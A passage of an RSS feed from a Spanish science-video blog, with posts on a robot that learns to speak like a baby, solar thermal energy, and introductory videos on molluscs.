		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Robot aprende a hablar como un bebé</title>
		<link>http://videosdeciencia.com/2012/06/18/robot-aprende-a-hablar-como-un-bebe/</link>
		<comments>http://videosdeciencia.com/2012/06/18/robot-aprende-a-hablar-como-un-bebe/#comments</comments>
		<pubDate>Mon, 18 Jun 2012 02:39:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Robotica]]></category>
		<category><![CDATA[Robots]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[DeeChee]]></category>
		<category><![CDATA[Novedades Cientificas]]></category>
		<category><![CDATA[PLoS ONE]]></category>
		<category><![CDATA[Robot]]></category>
		<category><![CDATA[Robot habla como Bebe]]></category>
		<category><![CDATA[Tecnologica]]></category>
		<category><![CDATA[Universidad de Hertfordshier]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=136</guid>
		<description><![CDATA[Investigadores de la Universidad de Hertfordshier han desarrollado un robot humanoide al que llamaron DeeChee, es capaz de aprender a hablar como un niño de entre 6 y 14 meses tras entablar unos minutos de conversación con humanos. Los participantes dirigen al robo como si fuera un bebe y el humanoide comienza con unos balbuceos para terminar pronunciando palabras [...]]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://www.youtube.com/embed/eLQnTrX0hDM" frameborder="0" width="420" height="315"></iframe><br />
Investigadores de la Universidad de Hertfordshier han desarrollado un robot humanoide al que llamaron DeeChee, es capaz de aprender a hablar como un niño de entre 6 y 14 meses tras entablar unos minutos de conversación con humanos. Los participantes dirigen al robo como si fuera un bebe y el humanoide comienza con unos balbuceos para terminar pronunciando palabras de unas pocas silabas.</p>
<p>&nbsp;</p>
<p>Un equipo de investigadores de  de la Universidad de Hertfordshire (Reino Unido) han desarrollado un robot humanoide, llamado<em>DeeChe</em>, que es capaz de aprender a hablar como un bebé de entre seis y 14 meses. El trabajo ha sido publicado esta semana en la revista <a href="http://www.plosone.org/home.action" target="_blank"><em>PLoS ONE</em></a>.</p>
<div></div>
<p>El robot, de la serie iCub, es un humanoide infantil con inteligencia artificial que posee un <em>software</em> con miles de posibilidades de sílabas sin conexión.</p>
<p>Los participantes hablan con <em>DeeChe</em> como si fuera un niño pequeño y el robot emite sonidos parecidos a los balbuceos de un bebé. Tras unos minutos de ‘conversación’, el humanoide  comienza a pronunciar palabras de una o dos sílabas con los nombres de formas y colores y &#8216;entiende&#8217; el significado de acciones simples como empujar o levantar.</p>
<p><strong>Útil para entender cómo se adquiere el lenguaje</strong></p>
<p>Los investigadores pidieron a los participantes, que no eran investigadores implicados en el proyecto, que utilizaran sus propias palabras en vez frases preestablecidas.</p>
<p>El equipo de la Universidad de Hertfordshire, liderado por la investigadora Caroline Lyon, señala en el artículo de <em>PloS ONE</em>  que este trabajo puede ser útil para entender la adquisición del lenguaje en humanos”.</p>
<p>“Se sabe que los bebés son sensibles a la frecuencia de los sonidos en el habla, y estos experimentos muestran cómo esta sensibilidad se puede modelar y contribuir al aprendizaje de las palabras en los robots”, ha señalado Lyon.</p>
<div>
<p><strong>Referencia bibliográfica:</strong></p>
<p>Lyon C; Nehaniv CL; Saunders J (2012) “Interactive Language Learning by Robots: The Transition from Babbling to Word Forms”. <em>PLoS ONE</em> 7(6): e38236. doi:10.1371/journal.pone.0038236</p>
<p>&nbsp;</p>
<p>Fuente</p>
<p><a href="http://www.agenciasinc.es/Noticias/Un-robot-aprende-a-hablar-como-un-bebe-conversando-con-humanos">http://www.agenciasinc.es/Noticias/Un-robot-aprende-a-hablar-como-un-bebe-conversando-con-humanos</a></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/18/robot-aprende-a-hablar-como-un-bebe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Energia Solar Termica</title>
		<link>http://videosdeciencia.com/2012/06/18/energia-solar-termica/</link>
		<comments>http://videosdeciencia.com/2012/06/18/energia-solar-termica/#comments</comments>
		<pubDate>Mon, 18 Jun 2012 02:23:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Energia Alternativa]]></category>
		<category><![CDATA[Energia Renovable]]></category>
		<category><![CDATA[Energia solar]]></category>
		<category><![CDATA[Energia Termica]]></category>
		<category><![CDATA[Video Energia Solar]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=127</guid>
		<description><![CDATA[La energía solar térmica consiste en el aprovechamiento del calor solar mediante el uso de colectores o paneles solares térmicos. De manera muy esquemática, el sistema de energía solar térmica funciona de la siguiente manera: el colector o panel solar capta los rayos del sol, absorbiendo de esta manera su energía en forma de calor, [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="420" height="315" src="http://www.youtube.com/embed/LlG6FX9V7UU" frameborder="0" allowfullscreen></iframe></p>
<p style="text-align: center;">
<p>La energía solar térmica consiste en el aprovechamiento del calor solar mediante el uso de colectores o paneles solares térmicos.</p>
<p>De manera muy esquemática, el sistema de energía solar térmica funciona de la siguiente manera: el colector o panel solar capta los rayos del sol, absorbiendo de esta manera su energía en forma de calor, a través del panel solar hacemos pasar un fluido (normalmente agua) de manera que parte del calor absorbido por el panel es transferido a dicho fluido, el fluido eleva su temperatura y es almacenado o directamente llevado al punto de consumo.</p>
<p>Actualmente podemos afirmar que el aprovechamiento de la energía solar térmica es una tecn ología madura y fiable, que las inversiones realizadas en general son amortizables sin la necesidad de subvenciones, y que se trata de una alternativa respetuosa con el medio ambiente.</p>
<p>En los últimos años se viene produciendo un aumento notable de instalaciones de energía solar térmica debido, por una parte, a la mayor sensibilidad social y política hacia temas medioambientales y, por otra, a la continua mejora y reducción de costes de los sistemas solares térmicos.</p>
<p>Con la entrada en vigor del nuevo Código Técnico de la Edificación (CTE) en marzo de 2007, y según lo especificado en su Documento Básico HE &#8211; Ahorro de energía todas las nuevas construcciones están oblidagas a instalar sistemas de aprovechamiento de energía solar térmica. Esta norma, sin duda, supone un impulso definitivo a esta tecnología.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/18/energia-solar-termica/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moluscos Tipos y sus Caracteristicas</title>
		<link>http://videosdeciencia.com/2012/06/18/moluscos-tipos-y-sus-caracteristicas/</link>
		<comments>http://videosdeciencia.com/2012/06/18/moluscos-tipos-y-sus-caracteristicas/#comments</comments>
		<pubDate>Mon, 18 Jun 2012 02:13:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Animales]]></category>
		<category><![CDATA[Biología]]></category>
		<category><![CDATA[Animales EN vertebrados]]></category>
		<category><![CDATA[Documentales animales]]></category>
		<category><![CDATA[Invertebrados]]></category>
		<category><![CDATA[MOluscos]]></category>
		<category><![CDATA[Videos de MOluscos]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=124</guid>
		<description><![CDATA[Idioma: Español Materia y nivel: Biología de 1º de ESO Descripción: Corto vídeo que explica las caracaterísticas generales de los moluscos, un grupo de invertebrados con más de 100.000 especies en la Tierra. Entre sus características más importantes se explica la concha, las partes del cuerpo y las funciones vitales. Para explicar la reproducción, el movimiento, alimentación y [...]]]></description>
			<content:encoded><![CDATA[<p><iframe width="560" height="315" src="http://www.youtube.com/embed/fkIaKLmQvFM" frameborder="0" allowfullscreen></iframe></p>
<p><strong>Idioma: </strong>Español<br />
<strong>Materia y nivel:</strong> Biología de 1º de ESO</p>
<p><strong>Descripción:</strong> Corto vídeo que explica las caracaterísticas generales de los moluscos, un grupo de invertebrados con más de 100.000 especies en la Tierra. Entre sus características más importantes se explica la concha, las partes del cuerpo y las funciones vitales. Para explicar la reproducción, el movimiento, alimentación y otros puntos importantes pasa por los diferentes tipos de moluscos</p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/18/moluscos-tipos-y-sus-caracteristicas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Moluscos Animales Invertetebrados</title>
		<link>http://videosdeciencia.com/2012/06/18/moluscos-animales-invertetebrados/</link>
		<comments>http://videosdeciencia.com/2012/06/18/moluscos-animales-invertetebrados/#comments</comments>
		<pubDate>Mon, 18 Jun 2012 02:10:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Animales]]></category>
		<category><![CDATA[Biología]]></category>
		<category><![CDATA[Animales INvertebrados]]></category>
		<category><![CDATA[Bivalvos]]></category>
		<category><![CDATA[Cefalopodos]]></category>
		<category><![CDATA[Documentales cientificos]]></category>
		<category><![CDATA[Documentales de Animales]]></category>
		<category><![CDATA[gastropodos]]></category>
		<category><![CDATA[MOluscos]]></category>

		<guid isPermaLink="false">http://videosdeciencia.com/?p=122</guid>
		<description><![CDATA[Idioma: Español Materia y nivel: Biología de 1º de ESO Descripción: Un corto vídeo  de introducción a un tipo de invertebrados muy importante, los moluscos, y sus tres principales subgrupos: los gastrópodos, los bivalvos y los cefalópodos]]></description>
			<content:encoded><![CDATA[<p><iframe width="420" height="315" src="http://www.youtube.com/embed/0dXm5aStA5M" frameborder="0" allowfullscreen></iframe></p>
<p style="text-align: center;">
<p><strong>Idioma: </strong>Español<br />
<strong>Materia y nivel:</strong> Biología de 1º de ESO</p>
<p><strong>Descripción:</strong> Un corto vídeo  de introducción a un tipo de invertebrados muy importante, los moluscos, y sus tres principales subgrupos: los gastrópodos, los bivalvos y los cefalópodos</p>
]]></content:encoded>
			<wfw:commentRss>http://videosdeciencia.com/2012/06/18/moluscos-animales-invertetebrados/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
